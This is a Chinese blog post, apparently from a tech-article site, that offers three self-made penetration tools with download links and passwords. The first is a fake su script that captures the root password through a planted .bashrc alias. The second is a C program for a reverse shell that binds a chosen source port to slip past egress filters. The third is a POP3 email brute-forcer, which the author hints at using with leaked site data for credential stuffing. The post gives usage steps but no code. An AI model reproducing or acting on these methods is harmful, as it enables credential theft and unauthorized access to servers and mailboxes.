短小实用 渗透用的Python小脚本
渗透的很多时候,找到的工具并不适用,自己码代码才是王道,下面三个程序都是渗透时在网络上找不到合适工具,自己辛苦开发的,短小实用。
root.sh
下载地址:http://pan.baidu.com/s/1c0d6vO8 密码:agzc
渗透linux拿到低权限并提权无果时,将这个程序传上去,再将一个低权限用户目录下的.bashrc添加一句alias su=’/usr/root.py’; 低权限用户su root 后 成功记录密码。密码记录路径请看脚本
二、设置源端口反弹shell渗透某个linux服务器,反连时目标端口为888不行,53,80还是不行,Ping了下百度,可以ping通。那真相只有一个,服务器变态的限制了只能某些提供已某些端口为源端口去连接外面。
比如:只允许接收对80端口的访问数据包,并以80为源端口向外回复数据。
谷歌程序无果,自己查了相关api后写了个。
client-port.c
下载地址:http://pan.baidu.com/s/1dD3SIXj 密码:n9gs
用法:gcc client-port.c -o port
chmod +x port
./port 你的IP 你的监听端口 本地的源端口
成功反弹shell 提权成功
三、邮箱爆破脚本某个时候,需要爆破一批邮箱。
Burp163.pl
下载地址:http://pan.baidu.com/s/1mguQYSw 密码:cdkh
用法 将要爆破的邮箱的pop服务器写入下面这一行 默认是163邮箱
$email= pop.163.com
再将去除掉@后面部分的邮箱地址比如lusiyu@163.com 去除后lusiyu存进去
同目录user.txt中吗,再将字典存进去pass.txt
你会说:这个有点鸡肋吧?万一邮箱的密码很复杂。
呵呵。
搞到了一个小站的数据,用这个程序批量测试密码是否就是邮箱密码。
呵呵,我啥都没说。
原创文章,作者:ItWorker,如若转载,请注明出处:https://blog.ytso.com/58037.html
linuxshell相关文章
- python运行代码不成功_Python | PyCharm无法直接运行(Run)脚本
- 在pycharm中如何新建Python文件?_github下载的python源码项目怎么用
- 一文搞定Python读取文件的全部知识
- 苹果电脑python官网下载步骤-Python下载和安装图文教程[超详细]
- Python小工具 | 如何自动下载、压缩并批量替换文章中的外链图片
- python中bool函数_bool()函数以及Python中的示例
- 5款最强且免费的Python IDE
- Jenkins(3)拉取git仓库代码,执行python自动化脚本[通俗易懂]
- Python 技巧篇-pip卸载python库实例演示,查看pip命令大全方法[通俗易懂]
- python入门与基础刷题篇(9)
- python分析人口出生率代码_国家统计局居然也能用的上Python?人口数据Python脚本了解一下?…[通俗易懂]
- python实用脚本:网络设备批量调试及备份
- 老男孩python课程_老男孩python课程[通俗易懂]
- (字典、子域名)合并去重 Python 脚本
- python做微信回复机器人_Python自动化脚本
- ArcGIS Pro创建python脚本工具
- Python操作系统
- python-Python与PostgreSQL数据库-PostgreSQL数据库的基本知识(一)
- Ubuntu18.04 一键升级Python所有第三方包 及安装python包的方法
- 用python 写了一个求空间俩点之间的距离的脚本详解编程语言
- Python 基于python实现的http+json协议接口自动化测试框架源码(实用改进版)详解编程语言
- python工具——jieba详解编程语言
- Python简易操作MySQL数据库指南(python操作mysql数据库)
- 安装Python MySQL驱动之快速指南(python安装mysql驱动)
- Python实现快速连接Redis数据库(python连接redis)
- 如何在Linux上将Python脚本设置为后台运行?(linux后台运行python)
- 在Linux上运行Python脚本的简单指南(linux运行python)
- Linux下快速修改PIP源加速安装Python库(linux修改pip源)
- 25 行 Python 代码实现人脸检测——OpenCV 技术教程